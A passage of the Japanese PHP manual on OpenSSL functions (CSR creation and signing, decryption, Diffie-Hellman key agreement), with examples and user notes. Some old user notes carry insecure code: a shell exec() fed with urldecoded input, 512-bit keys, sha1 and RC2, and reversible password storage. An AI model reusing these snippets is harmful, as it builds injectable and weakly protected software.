  ["organizationalUnitName"]=>string "xxxx"
  ["commonName"]=>string "xxx"
  ["emailAddress"]=>string "xxx"
}

 openssl_csr_get_subject('somedomain.com',true);
return
array(7) {
  ["C"]=> string "XX"
  ["ST"]=> string "xxxxxxxxx"
  ["L"]=> string "xxxxxxxx"
  ["O"]=> string "xxxxxxxxx"
  ["OU"]=>string "xxxx"
  ["CN"]=>string "xxx"
  ["emailAddress"]=>string "xxx"
}
mikko koivu 21-Jul-2010 09:10
this function does not yet return SANs (subject alternative names) fields for UC certificates like those used in exchange 2007.
stephan[at]strato-rz[dot]de 21-Jan-2009 01:13
The returning assoziative array is indexed with the fields
in the subject so you should have a array key named CN,OU and so on.


CSR を作成する

  • ≪ openssl_csr_get_subject
  • openssl_csr_sign ≫
  • PHP Manual
  • OpenSSL 関数
  • CSR を作成する

openssl_csr_new

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_new — CSR を作成する

説明

openssl_csr_new ( array $distinguished_names , OpenSSLAsymmetricKey &$private_key , array|null $options = null , array|null $extra_attributes = null ) : OpenSSLCertificateSigningRequest|false

openssl_csr_new() は、新しい CSR (Certificate Signing Request) を distinguished_names の情報に基づいて作成します。

注意: この関数を正しく動作させるには、正しい形式の openssl.cnf をインストールしておく必要があります。 詳細な情報は、インストールについてのセクション を参照ください。

パラメータ

distinguished_names

証明書で使用される識別名、またはsubjectフィールド。

private_key

private_key には、事前に openssl_pkey_new() （あるいはその他の openssl_pkey 系の関数）で作成した秘密鍵を設定します。 これに対応する公開鍵が、CSR への署名に使用されます。

options

デフォルトでは、システムの openssl.conf の設定に したがってリクエストが初期化されます。options のキー config_section_section を設定することで、この デフォルト項目を変更することが可能です。また、キー config に別の openssl 設定ファイルを指定することで別の設定を使用することも可能です。 もし options に以下の表のキーが存在すれば、それらは openssl.conf の対応する項目と同じ働きをします。

設定の上書き
options のキー | 型 | openssl.conf で同等の意味を持つ項目 | 説明
digest_alg | string | default_md | ダイジェストメソッド、または署名のハッシュ。 通常は openssl_get_md_methods() 関数のリストのうちのひとつです。
x509_extensions | string | x509_extensions | x509 証明書を作成する際に使用する拡張モジュールを選択します
req_extensions | string | req_extensions | CSR を作成する際に使用する拡張モジュールを選択します
private_key_bits | int | default_bits | 秘密鍵を作成する際に使用するビット数を指定します
private_key_type | int | none | 作成する秘密鍵の型を指定します。以下の定数 OPENSSL_KEYTYPE_DSA, OPENSSL_KEYTYPE_DH OPENSSL_KEYTYPE_RSA あるいは OPENSSL_KEYTYPE_EC からひとつ選択します。 デフォルト値は OPENSSL_KEYTYPE_RSA です。
encrypt_key | bool | encrypt_key | （パスフレーズとともに）エクスポートされるキーを暗号化するか?
encrypt_key_cipher | int | none | 暗号定数のうちの一つ。
curve_name | string | none | openssl_get_curve_names() のうちの一つ。
config | string | N/A | 代替の openssl.conf ファイルのパス

extra_attributes

extra_attributes は、CSR に関する追加の設定情報を 設定するために使用します。distinguished_names および extra_attributes はどちらも連想配列で、それらの キーが OID に変換されたうえでリクエストの関連する部分に適用されます。

返り値

CSR を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は OpenSSLCertificateSigningRequest クラスのインスタンスを返すようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースが返されていました。
8.0.0 | private_key は、 OpenSSLAsymmetricKey クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースを受け入れていました。
7.1.0 | options が、新たに curve_name をサポートしました。

例

例1 自己署名証明書の作成

<?php
// SSLサーバ証明書では、commonName はセキュアにするドメインです。
// S/MIME 電子メール証明書では、 commonName は電子メールアドレスのオーナーです。
// location と identification フィールドは、セキュアにするドメイン
// または電子メールのオーナーを参照します。
$dn = array(
    "countryName" => "GB",
    "stateOrProvinceName" => "Somerset",
    "localityName" => "Glastonbury",
    "organizationName" => "The Brain Room Limited",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com"
);

// 新しい 秘密鍵(と公開鍵の) キーペアを生成します
$privkey = openssl_pkey_new(array(
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));

// CSR を生成します
$csr = openssl_csr_new($dn, $privkey, array('digest_alg' => 'sha256'));

// 自己署名の証明書を生成します。365日有効です
$x509 = openssl_csr_sign($csr, null, $privkey, $days=365, array('digest_alg' => 'sha256'));

// 秘密鍵、CSR と自己署名証明書をあとで使うために保存します。
openssl_csr_export($csr, $csrout) and var_dump($csrout);
openssl_x509_export($x509, $certout) and var_dump($certout);
openssl_pkey_export($privkey, $pkeyout, "mypassword") and var_dump($pkeyout);

// 起きたエラーを表示します。
while (($e = openssl_error_string()) !== false) {
    echo $e . "\n";
}
?>

例2 自己署名の ECC 証明書を作成する (PHP 7.1.0 以降)

<?php
$subject = array(
    "commonName" => "docs.php.net",
);

// 新しい 秘密鍵(と公開鍵の) キーペアを生成します
$private_key = openssl_pkey_new(array(
    "private_key_type" => OPENSSL_KEYTYPE_EC,
    "curve_name" => 'prime256v1',
));

// CSR を生成します
$csr = openssl_csr_new($subject, $private_key, array('digest_alg' => 'sha384'));

// 自己署名のEC証明書を生成します。
$x509 = openssl_csr_sign($csr, null, $private_key, $days=365, array('digest_alg' => 'sha384'));
openssl_x509_export_to_file($x509, 'ecc-cert.pem');
openssl_pkey_export_to_file($private_key, 'ecc-private.key');
?>

参考

  • openssl_csr_sign() - CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

User Contributed Notes

@operator 13-Dec-2016 02:19
One command to create modern certificate request with 4 SAN subdomain.
According to RFC you can change CN (common name) and subjectAltName. When cert validated searching in CN and subjectAltName.

openssl req -new -nodes -config <( cat <<-EOF
[req]
default_bits = 2048
prompt = no
default_md = sha256
req_extensions = re
distinguished_name = dn
[ dn ]
CN = my.tld
C = country
ST = state
L = location
O = ORGANISATION
[ re ]
subjectAltName = DNS.1: www.my.tld, DNS.2: www2.my.tld, DNS.3: www3.my.tld, DNS.4: www4.my.tld
EOF
) -keyout secret.key -out req.csr
james at kirk dot com 15-Jun-2015 06:56
When in doubt, read the source code to PHP!

$configargs is fairly opaque as to what is going on behind the scenes.  That is, until you actually look at php_openssl_parse_config() in '/ext/openssl/openssl.c':

    SET_OPTIONAL_STRING_ARG("digest_alg", req->digest_name,
        CONF_get_string(req->req_config, req->section_name, "default_md"));
    SET_OPTIONAL_STRING_ARG("x509_extensions", req->extensions_section,
        CONF_get_string(req->req_config, req->section_name, "x509_extensions"));
    SET_OPTIONAL_STRING_ARG("req_extensions", req->request_extensions_section,
        CONF_get_string(req->req_config, req->section_name, "req_extensions"));
    SET_OPTIONAL_LONG_ARG("private_key_bits", req->priv_key_bits,
        CONF_get_number(req->req_config, req->section_name, "default_bits"));

    SET_OPTIONAL_LONG_ARG("private_key_type", req->priv_key_type, OPENSSL_KEYTYPE_DEFAULT);

Here we can see that SET_OPTIONAL_STRING_ARG() is called for most inputs but for 'private_key_bits' SET_OPTIONAL_LONG_ARG() is called.  Both calls are C macros that expand to code that enforces the expected input type.  The generated code ignores the input without warning/notice if an unexpected type is used and just uses the default from the configuration file.  This is why using a string with 'private_key_bits' will result in unexpected behavior.

Further inspection of the earlier initialization in the same function:

    SET_OPTIONAL_STRING_ARG("config", req->config_filename, default_ssl_conf_filename);
    SET_OPTIONAL_STRING_ARG("config_section_name", req->section_name, "req");
    req->global_config = CONF_load(NULL, default_ssl_conf_filename, NULL);
    req->req_config = CONF_load(NULL, req->config_filename, NULL);

    if (req->req_config == NULL) {
        return FAILURE;
    }

And elsewhere in another function:

    /* default to 'openssl.cnf' if no environment variable is set */
    if (config_filename == NULL) {
        snprintf(default_ssl_conf_filename, sizeof(default_ssl_conf_filename), "%s/%s",
                X509_get_default_cert_area(),
                "openssl.cnf");
    } else {
        strlcpy(default_ssl_conf_filename, config_filename, sizeof(default_ssl_conf_filename));
    }

Reveals that 'config' in $configargs is an override for any default setting elsewhere.  This actually negates the comment in the documentation that says "Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information."  A more correct sentence would be "Note:  You need to either have a valid openssl.cnf set up or use $configargs to point at a valid openssl.cnf file for this function to operate correctly."

All of that goes to show that looking at the PHP source code is the only real way to figure out what is actually happening.  Doing so saves time and effort.
Anonymous 19-Feb-2015 04:44
For those of you using Debian-based systems, the openssl configuration file is at: /etc/ssl/openssl.cnf
alex at nodex dot co dot uk 17-Dec-2014 10:59
In the PHP example above it uses "UK" as the country name which is incorrect, the country name must be "GB"
Richard Lynch 17-Jul-2013 03:49
There appears to be no openssl_csr_free function.

At least not here.

If it's in the source, one might be able to just call it.

If it's not in the source, it probably should be.
The_Lost_One 18-Sep-2009 07:45
Not sure whether the "bug" (undocumented behavior) I encountered is common to other people, but this comment might save hours of painful debug:
If you can't generate a new private key using openssl_pkey_new() or openssl_csr_new(), your script hangs during the call of these functions and in case you specified a "private_key_bits" parameter, ensure that you cast the variable to an int. Took me ages to notice that.

<?php
$SSLcnf = array('config' => '/usr/local/nessy2/share/ssl/openssl.cnf',
        'encrypt_key' => true,
        'private_key_type' => OPENSSL_KEYTYPE_RSA,
        'digest_alg' => 'sha1',
        'x509_extensions' => 'v3_ca',
        'private_key_bits' => $someVariable // ---> bad
        'private_key_bits' => (int)$someVariable // ---> good
        'private_key_bits' => 512 // ---> obviously good
        );
?>
main ATT jokester DOTT fr 02-Sep-2008 08:09
To set the "basicConstraints" to  "critical,CA:TRUE", you have to define configargs, but in the openssl_csr_sign() function !

That's my example of code to sign a "child" certificate :

$CAcrt = "file://ca.crt";
$CAkey = array("file://ca.key", "myPassWord");

$clientKeys = openssl_pkey_new();
$dn = array(
    "countryName" => "FR",
    "stateOrProvinceName" => "Finistere",
    "localityName" => "Plouzane",
    "organizationName" => "Ecole Nationale d'Ingenieurs de Brest",
    "organizationalUnitName" => "Enib Students",
    "commonName" => "www.enib.fr",
    "emailAddress" => "ilovessl@php.net"
);
$csr = openssl_csr_new($dn, $clientPrivKey);

$configArgs = array("x509_extensions" => "v3_req");
$cert = openssl_csr_sign($csr, $CAcrt, $CAkey, 100, $configArgs);

openssl_x509_export_to_file($cert, "childCert.crt");

Then if you want to add some more options, you can edit the "/etc/ssl/openssl.cnf" ssl config' file (debian path), and add these after the [ v3_req ] tag.
dylan at pow7 dot com 04-Jul-2007 05:45
Is there some way to change the distinguished name using this function? I have tried adding overrides to the dn to configargs and extraattribs but this did not have an impact on the certificate.

Example: A CSR is submitted and I want to change only the commonName (CN) before signing the certificate.
gonzak at op dot pl 14-Feb-2006 10:57
How in openssl_csr_new  usign [, array configargs [, array extraattribs]]
because I am have add this extension to certificate
/********************
basicConstraints = critical,CA:TRUE,pathlen:0
nsCertType = sslCA,emailCA,objCA
**********************************/

Rafal
24-Jun-2005 12:34
If you get the error:

error:0D11A086:asn1 encoding routines:ASN1_mbstring_copy:string too short

then look at your key:value pairs in the $dn (distinguished name) array.

If you have one value (like "organizationalUnitName" = "") set to an empty string, it will throw the above error.

Fix the error by either eliminating that array element from $dn completely, or using a space " " instead of an empty string.
robertliu AT wiscore DOT com 12-May-2005 08:12
I am using PHP-4.3.11.
The type of configargs--private_key_bits is a INTEGER, not a string.
An example of configration:
<?php
$config = array(
  "digest_alg" => "sha1",
  "private_key_bits" => 2048,
  "private_key_type" => OPENSSL_KEYTYPE_DSA,
  "encrypt_key" => false
);
?>
dankybastard at hotmail 09-Feb-2005 06:31
As you probably guessed from the example, the documentation is misinforming.  openssl_csr_new returns a CSR resource or FALSE on failure.

mixed openssl_csr_new (assoc_array dn, resource_privkey, [...])


CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

  • ≪ openssl_csr_new
  • openssl_decrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

openssl_csr_sign

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_sign — CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

説明

openssl_csr_sign ( OpenSSLCertificateSigningRequest|string $csr , OpenSSLCertificate|string|null $ca_certificate , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , int $days , array|null $options = null , int $serial = 0 ) : OpenSSLCertificate|false

openssl_csr_sign() は、 指定した CSR を用いて x509 証明書を作成します。

注意: この関数を正しく動作させるには、正しい形式の openssl.cnf をインストールしておく必要があります。 詳細な情報は、インストールについてのセクション を参照ください。

パラメータ

csr

事前に openssl_csr_new() で作成した CSR。 file://path/to/csr のように指定された PEM エンコードされた CSR へのパス、 あるいは openssl_csr_export() で生成した文字列も使用可能です。

ca_certificate

作成された証明書は ca_certificate で署名されます。 ca_certificate が null の場合は、自己署名の証明書となります。

private_key

private_key は ca_certificate に対応する秘密鍵です。

days

days は、作成された証明書の有効期限を日数で指定します。

options

options で証明書の詳細設定が可能です。 options についての詳細な情報は openssl_csr_new() を参照ください。

serial

発行される証明書のシリアル番号を、オプションで指定します。 省略した場合のデフォルトは 0 です。

返り値

成功した場合に OpenSSLCertificate オブジェクト。 失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は OpenSSLCertificate クラスのインスタンスを返すようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを返していました。
8.0.0 | csr は、 OpenSSLCertificateSigningRequest のインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースを受け入れていました。
8.0.0 | ca_certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

例

例1 openssl_csr_sign() の例 - CSR に署名する（あなた自身の CA を作成する）

<?php
// このスクリプトでは、前のページのテキストエリアから受け取った
// CSR を利用すると仮定します。
$csrdata = $_POST["CSR"];

// ここでは自己認証局の証明書を用いて署名要求に署名します。
// どんな証明書でも署名は可能ですが、署名に用いる証明書が
// 新たに署名される証明書を取り扱うであろうソフトウェアや
// ユーザーらに信頼されていない限り、その手続きは無意味です。

// 自己認証局証明書とその秘密鍵が必要です。
$cacert = "file://path/to/ca.crt";
$privkey = array("file://path/to/ca.key", "your_ca_key_passphrase");

$usercert = openssl_csr_sign($csrdata, $cacert, $privkey, 365, array('digest_alg'=>'sha256') );

// ユーザーがローカル設定（SSL サーバー用の証明書
// ファイルなど）にコピー＆ペーストできるように
// 作成された証明書をそのまま表示します。
openssl_x509_export($usercert, $certout);
echo $certout;

// 発生したエラーをすべて表示します。
while (($e = openssl_error_string()) !== false) {
    echo $e . "\n";
}
?>

User Contributed Notes

Sriraam 21-Aug-2015 08:58
config_section_section is incorrect. The correct keyword to use is "config_section_name".
Kai Sellgren 20-Feb-2009 11:05
You can use file_get_contents() to directly pass the content instead of giving file paths.

Also, if you get an error "sec_error_reused_issuer_and_serial", put a serial into the last parameter:

<?php

$privkey = array(file_get_contents('ca.key'),"your_ca_key_passphrase");
$usercert = openssl_csr_sign($csrdata, file_get_contents('ca.crt'),$privkey,365,NULL,'06');
openssl_x509_export($usercert,$certout);
file_put_contents('serverCASigned.crt',$certout);

?>

In that above example the serial was "06".
thomas dot lussnig at bewegungsmelder dot de 11-Jul-2002 08:34
Here is an sample how to create valid X.509 Public and Private Key (cert/key).
When not using self signed the 4.2.1 segault. You need the CVS code at least for openssl.

<?
Header("Content-Type: text/plain");
$CA_CERT = "CA.cert.pem";
$CA_KEY  = "CA.key.pem";
$req_key = openssl_pkey_new();
if(openssl_pkey_export ($req_key, $out_key)) {
        $dn = array(
                "countryName"            => "DE",
                "stateOrProvinceName"    => "Frankfurt",
                "organizationName"       => "smcc.net",
                "organizationalUnitName" => "E-Mail",
                "commonName"             => "Testcert"
                );
        $req_csr  = openssl_csr_new ($dn, $req_key);
        $req_cert = openssl_csr_sign($req_csr, "file://$CA_CERT", "file://$CA_KEY", 365);
        if(openssl_x509_export ($req_cert, $out_cert)) {
                echo "$out_key\n";
                echo "$out_cert\n";
                }
        else    echo "Failed Cert\n";
        }
else            echo "FailedKey\n";
?>
eric at ypass dot net 13-Jun-2002 04:13
To generate a self-signed certificate, pass NULL as the signing certificate (2nd parameter).  For example:

$req_key = openssl_pkey_new();
$dn = array(
    "countryName" => "US",
    "stateOrProvinceName" => "Colorado",
    "organizationName" => "yPass.net",
    "organizationalUnitName" => "yPass.net",
    "commonName" => "yPass.net Root Certificate"
);
$req_csr = openssl_csr_new($dn, $req_key);
$req_cert = openssl_csr_sign($req_csr, NULL, $req_key, 365);


データを復号する

  • ≪ openssl_csr_sign
  • openssl_dh_compute_key ≫
  • PHP Manual
  • OpenSSL 関数
  • データを復号する

openssl_decrypt

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_decrypt — データを復号する

説明

openssl_decrypt ( string $data , string $cipher_algo , string $passphrase , int $options = 0 , string $iv = "" , string $tag = "" , string $aad = "" ) : string|false

未加工の、または base64 エンコードされた文字列を受け取り、 与えられた暗号化方式とキーを使って文字列を復号します。

パラメータ

data

復号化する、暗号化されたメッセージ。

cipher_algo

暗号化方式。利用可能な暗号化方式のリストについては、 openssl_get_cipher_methods() を使用してください。

passphrase

キー

options

OPENSSL_RAW_DATA あるいは OPENSSL_ZERO_PADDING のいずれか。

iv

NULL ではない初期化ベクトル

tag

AEAD 暗号モードの認証タグ。 正しくない場合、認証は失敗し、関数は false を返します。

警告

tag の長さをこの関数はチェックしません。 この値の長さは openssl_encrypt() を呼び出した時に取得できるものと一致させなければならず、それは呼び出し側の責任です。 一致しない場合でも、与えられた値が適切な tag の先頭部分と一致した場合に復号が成功するかもしれません。

aad

追加の認証データ。

返り値

成功した場合復号化された文字列、失敗した場合に false を返します。

エラー / 例外

cipher_algo パラメータに未知の暗号アルゴリズムが渡された場合、 E_WARNING レベルのエラーが発生します。

iv パラメータに空の値が渡された場合、 E_WARNING レベルのエラーが発生します。

変更履歴

バージョン | 説明
7.1.0 | tag および aad パラメータが追加されました。

参考

  • openssl_encrypt() - データを暗号化する

User Contributed Notes

markagius dot co dot uk 16-Apr-2017 09:35
openssl_decrypt(..) works with most but not all method types.
This list can vary, depending on the data (Message) and key (Password) used.

See the following code and edit the $text and $password values.
Code checks if text is the same after encrypting then decrypting it.

Note:
  You can still use openssl_encrypt(..) with;
  User enters 'Log-in password'
  (Encrypted and stored using openssl_encrypt)
  Next time.
  User logs-in with 'Log-in password'
  (Check that encrypted 'Log-in password' = stored data)

<CODE>
  // Please edit $password=... and $text=...

  $password = "This is a journey into sound";

  $text = "";
  for($charNo=0; $charNo<=255; $charNo=$charNo+1){
    // if($charNo==127) {$charNo=$charNo+1;}
    if(!$charNo<127){
      // $text = $text."&#x".strtoupper(dechex($charNo)).";";
      $text = $text.chr($charNo);
    } else {
      $text = $text.chr($charNo);
    }
  }

$text = "This is a test message.";

  print "<TABLE BORDER=\"1\">\n";
  print "<TR><TD><B>Encryption type:</B></TD><TD><B>String after converting back:</B></TD></TR>\n";
  $ciphers = openssl_get_cipher_methods();
  for($pointer=0; $pointer<count($ciphers); $pointer=$pointer+1){
    $edit  = EncryptDecrypt($text, true,  $password, $ciphers[$pointer]);
    $check = EncryptDecrypt($edit, false, $password, $ciphers[$pointer]);
    if($text!=$check){
      $info  = $check;
      print "<TR><TD>".$ciphers[$pointer]."</TD><TD>".$info."</TD></TR>\n";
    }
  }
  print "</TABLE>\n";

function EncryptDecrypt($oldText, $encryptIt=true, $password="PASSWORD", $encryptType=""){
  $ciphers = openssl_get_cipher_methods();
  $foundEncType = false;
  for($pointer=0; $pointer<count($ciphers); $pointer=$pointer+1){
    if($ciphers[$pointer]==$encryptType){$foundEncType=true;}
  }
  if(!$foundEncType){
    $encryptType = "RC2-64-CBC"; // Default value used if not set or listed.
  }
  if($encryptIt){
    $newText = openssl_encrypt($oldText,$encryptType,$password);
  } else {
    $newText = openssl_decrypt($oldText,$encryptType,$password);
  }
  return $newText;
}
</CODE>
The following (sometimes) don't work:
    DES-EDE3-CFB1    (sometimes)
    aes-128-gcm
    aes-192-gcm
    aes-256-gcm
    des-ede3-cfb1        (sometimes)
    id-aes128-GCM
    id-aes192-GCM
    id-aes256-GCM
lucianonapoli at yahoo dot it 28-Feb-2017 10:19
The parameter string $password must be in binary form and is derived from the exadecimal key value.

Example:

encrypting in command line console with openssl
openssl AES-256-CBC -K 5ae1b8a17bad4da4fdac796f64c16ecd -iv 34857d973953e44afb49ea9d61104d8c -in doc.txt -out doc.enc.txt

decripting in php
$key = hex2bin('5ae1b8a17bad4da4fdac796f64c16ecd');
$iv = hex2bin('34857d973953e44afb49ea9d61104d8c');

$output = openssl_decrypt($encstr, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
Hernanibus 11-Jul-2016 06:04
Parameters may seem obvius to some but not for everyone so:

- $data can be as the description says raw or base64. If no $option is set (this is, if value of 0 is passed in this parameter), data will be assumed to be base64 encoded. If parameter OPENSSL_RAW_DATA is set, it will be understood as row data.

- $password (key) is a String of [pseudo] bytes as those generated by the function openssl_random_pseudo_bytes().

- $options as (as for 2016) two possible values OPENSSL_RAW_DATA and OPENSSL_ZERO_PADDING. Setting both can be done by OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING. If no OPENSSL_ZERO_PADDING is specify, default pading of PKCS#7 will be done as it's been observe by [openssl at mailismagic dot com]'s coment in openssl_encrypt()

- $iv is as in the case of $password, a String of bytes. Its length depends on the algorithm used. May be the best way to generate an $iv is by:

<?php
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('your algorithm'));// for example you algorithm = 'AES-256-CTR'
?>
ittasks at gmail dot com 03-Apr-2013 12:02
in case that hosting do not provide openssl_encrypt decrypt functions - it could be mimiced via commad prompt executions
this functions will check is if openssl is installed and try to use it by default

function sslPrm()
{
 return array("your_password","IV (optional)","aes-128-cbc");
}
function sslEnc($msg)
{
  list ($pass, $iv, $method)=sslPrm();
  if(function_exists('openssl_encrypt'))
     return urlencode(openssl_encrypt(urlencode($msg), $method, $pass, false, $iv));
  else
     return urlencode(exec("echo \"".urlencode($msg)."\" | openssl enc -".urlencode($method)." -base64 -nosalt -K ".bin2hex($pass)." -iv ".bin2hex($iv)));
}
function sslDec($msg)
{
  list ($pass, $iv, $method)=sslPrm();
  if(function_exists('openssl_decrypt'))
     return trim(urldecode(openssl_decrypt(urldecode($msg), $method, $pass, false, $iv)));
  else
     return trim(urldecode(exec("echo \"".urldecode($msg)."\" | openssl enc -".$method." -d -base64 -nosalt -K ".bin2hex($pass)." -iv ".bin2hex($iv))));
}

//example of usage:
$r= sslEnc("This is encryption/decryption test!");
echo "<br>\n".$r.":".sslDec($r);


ローカルのDH秘密鍵とリモート側のDH公開鍵を使い、共有シークレットを計算する

  • ≪ openssl_decrypt
  • openssl_digest ≫
  • PHP Manual
  • OpenSSL 関数
  • ローカルのDH秘密鍵とリモート側のDH公開鍵を使い、共有シークレットを計算する

openssl_dh_compute_key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_dh_compute_key — ローカルのDH秘密鍵とリモート側のDH公開鍵を使い、共有シークレットを計算する

説明

openssl_dh_compute_key ( string $public_key , OpenSSLAsymmetricKey $private_key ) : string|false

openssl_dh_compute_key() 関数が返す共有シークレットは、 リモート側と秘密の通信をするための暗号鍵としてよく使われます。 これはディフィー・ヘルマン鍵共有として知られています。

パラメータ

public_key

リモート側の DH 公開鍵

private_key

ローカル側の DH 秘密鍵。 これは、リモート側と共有している公開鍵に対応します。

返り値

成功した場合、共有シークレットを返します。 失敗した場合に false を返します.

変更履歴

バージョン | 説明
8.0.0 | private_key は、 OpenSSLAsymmetricKey クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースを受け入れていました。

例

例1 共有シークレットを計算する

まず DH 公開鍵/秘密鍵 キーペア をローカルで生成します。 そしてリモート側でも同じことをします。 openssl コマンドラインユーティリティを使う必要があります。

# generate private/public key keypair
openssl dhparam -out dhparam.pem 2048
openssl genpkey -paramfile dhparam.pem -out privatekey.pem

# extract public key only
openssl pkey -in privatekey.pem -pubout -out publickey.pem

次に、あなたの公開鍵をリモート側に送ります。 あなたが送る公開鍵をリモート側で調べるために、 openssl pkey コマンドを使ってください。

openssl pkey -pubin -in remotepublickey.pem -text -noout

上の例の出力は、 たとえば以下のようになります。

PKCS#3 DH Public-Key: (2048 bit)
    public-key:
        67:e5:e5:fa:e0:7b:0f:96:2c:dc:96:44:5f:50:02:
        9e:8d:c2:6c:04:68:b0:d1:1d:75:66:fc:63:f5:e3:
        42:30:b8:96:c1:45:cc:08:60:b4:21:3b:dd:ee:66:
        88:db:77:d9:1e:11:89:d4:5c:f2:7a:f2:f1:fe:1c:
        77:9d:6f:13:b8:b2:56:00:ef:cb:3b:60:79:74:02:
        98:f5:f9:8e:3e:b5:62:08:de:ca:8c:c3:40:4a:80:
        79:d5:43:06:17:a8:19:56:af:cc:95:5e:e2:32:2d:
        d2:14:7b:76:5a:9a:f1:3c:76:76:35:cc:7b:c1:a5:
        f4:39:e5:b6:ca:71:3f:7c:3f:97:e5:ab:86:c1:cd:
        0e:e6:ee:04:c9:e6:2d:80:7e:59:c0:49:eb:b6:64:
        4f:a8:f9:bb:a3:87:b3:3d:76:01:9e:2b:16:94:a4:
        37:30:fb:35:e2:63:be:23:90:b9:ef:3f:46:46:04:
        94:8f:60:79:7a:51:55:d6:1a:1d:f5:d9:7f:4a:3e:
        aa:ac:b0:d0:82:cc:c2:e0:94:e0:54:c1:17:83:0b:
        74:08:4d:5a:79:ae:ff:7f:1c:04:ab:23:39:4a:ae:
        87:83:55:43:ab:7a:7c:04:9d:20:80:bb:af:5f:16:
        a3:e3:20:b9:21:47:8c:f8:7f:a8:60:80:9e:61:77:
        36
 [...abbreviated...]

この公開鍵を openssl_dh_compute_key() のパラメーターとして渡し、 共有シークレットを計算します

<?php
$remote_public_key = '67e5e5fae07b0f962cdc96445f50029e8dc26c0468b0d11d7566fc63f5e34230b896c145cc0860b4213bddee6688db77d91e1189d45cf27af2f1fe1c779d6f13b8b25600efcb3b6079740298f5f98e3eb56208deca8cc3404a8079d5430617a81956afcc955ee2322dd2147b765a9af13c767635cc7bc1a5f439e5b6ca713f7c3f97e5ab86c1cd0ee6ee04c9e62d807e59c049ebb6644fa8f9bba387b33d76019e2b1694a43730fb35e263be2390b9ef3f464604948f60797a5155d61a1df5d97f4a3eaaacb0d082ccc2e094e054c117830b74084d5a79aeff7f1c04ab23394aae87835543ab7a7c049d2080bbaf5f16a3e320b921478cf87fa860809e617736';

$local_priv_key = openssl_pkey_get_private('file://privatekey.pem');

$shared_secret = openssl_dh_compute_key(hex2bin($remote_public_key), $local_priv_key);
echo bin2hex($shared_secret)."\n";
?>

例2 DH public/private キーペアをPHPで生成する

まず、DH prime を生成します。

openssl dhparam -out dhparam.pem 2048
openssl dh -in dhparam.pem -noout  -text

上の例の出力は、 たとえば以下のようになります。

    PKCS#3 DH Parameters: (2048 bit)
        prime:
            00:a3:25:1e:73:3f:44:b9:2b:ee:f4:9d:9f:37:6a:
            4b:fd:1d:bd:f4:af:da:c8:10:77:59:41:c6:5f:73:
            d2:88:29:39:cd:1c:5f:c3:9f:0f:22:d2:9c:20:c1:
            e4:c0:18:03:b8:b6:d8:da:ad:3b:39:a6:da:8e:fe:
            12:30:e9:03:5d:22:ba:ef:18:d2:7b:69:f9:5b:cb:
            78:c6:0c:8c:6b:f2:49:92:c2:49:e0:45:77:72:b3:
            55:36:30:f2:40:17:89:18:50:03:fa:2d:54:7a:7f:
            34:4c:73:32:b6:88:14:51:14:be:80:57:95:e6:a3:
            f6:51:ff:17:47:4f:15:d6:0e:6c:47:53:72:2c:2a:
            4c:21:cb:7d:f3:49:97:c9:47:5e:40:33:7b:99:52:
            7e:7a:f3:52:27:80:de:1b:26:6b:40:bb:14:11:0b:
            fb:e6:d8:2f:cf:a0:06:2f:96:b9:1c:0b:b4:cb:d3:
            a6:62:9c:48:67:f6:81:f2:c6:ff:45:03:0a:9d:67:
            9d:ce:27:d9:6b:48:5d:ca:fb:c2:5d:84:9b:8b:cb:
            40:c7:a4:0c:8a:6e:f4:ab:ba:b6:10:c3:b8:25:4d:
            cf:60:96:f4:db:e8:00:1c:58:47:7a:fb:51:86:d1:
            22:d7:4e:94:31:7a:d5:da:3d:53:de:da:bb:64:8d:
            62:6b
        generator: 2 (0x2)

prime と generator の値を 'p' と 'g' として openssl_pkey_new() 関数に渡します。

<?php
$configargs = array();
$configargs['p'] = hex2bin('00a3251e733f44b92beef49d9f376a4bfd1dbdf4afdac810775941c65f73d2882939cd1c5fc39f0f22d29c20c1e4c01803b8b6d8daad3b39a6da8efe1230e9035d22baef18d27b69f95bcb78c60c8c6bf24992c249e0457772b3553630f2401789185003fa2d547a7f344c7332b688145114be805795e6a3f651ff17474f15d60e6c4753722c2a4c21cb7df34997c9475e40337b99527e7af3522780de1b266b40bb14110bfbe6d82fcfa0062f96b91c0bb4cbd3a6629c4867f681f2c6ff45030a9d679dce27d96b485dcafbc25d849b8bcb40c7a40c8a6ef4abbab610c3b8254dcf6096f4dbe8001c58477afb5186d122d74e94317ad5da3d53dedabb648d626b');
$configargs['g'] = hex2bin('02');
$private_key = openssl_pkey_new(array('dh' => $configargs));
openssl_pkey_export_to_file($private_key,'privatekey.pem',$passphrase='y0urp@s5phr@se');

$details = openssl_pkey_get_details($private_key);
$local_pub_key = $details['dh']['pub_key'];
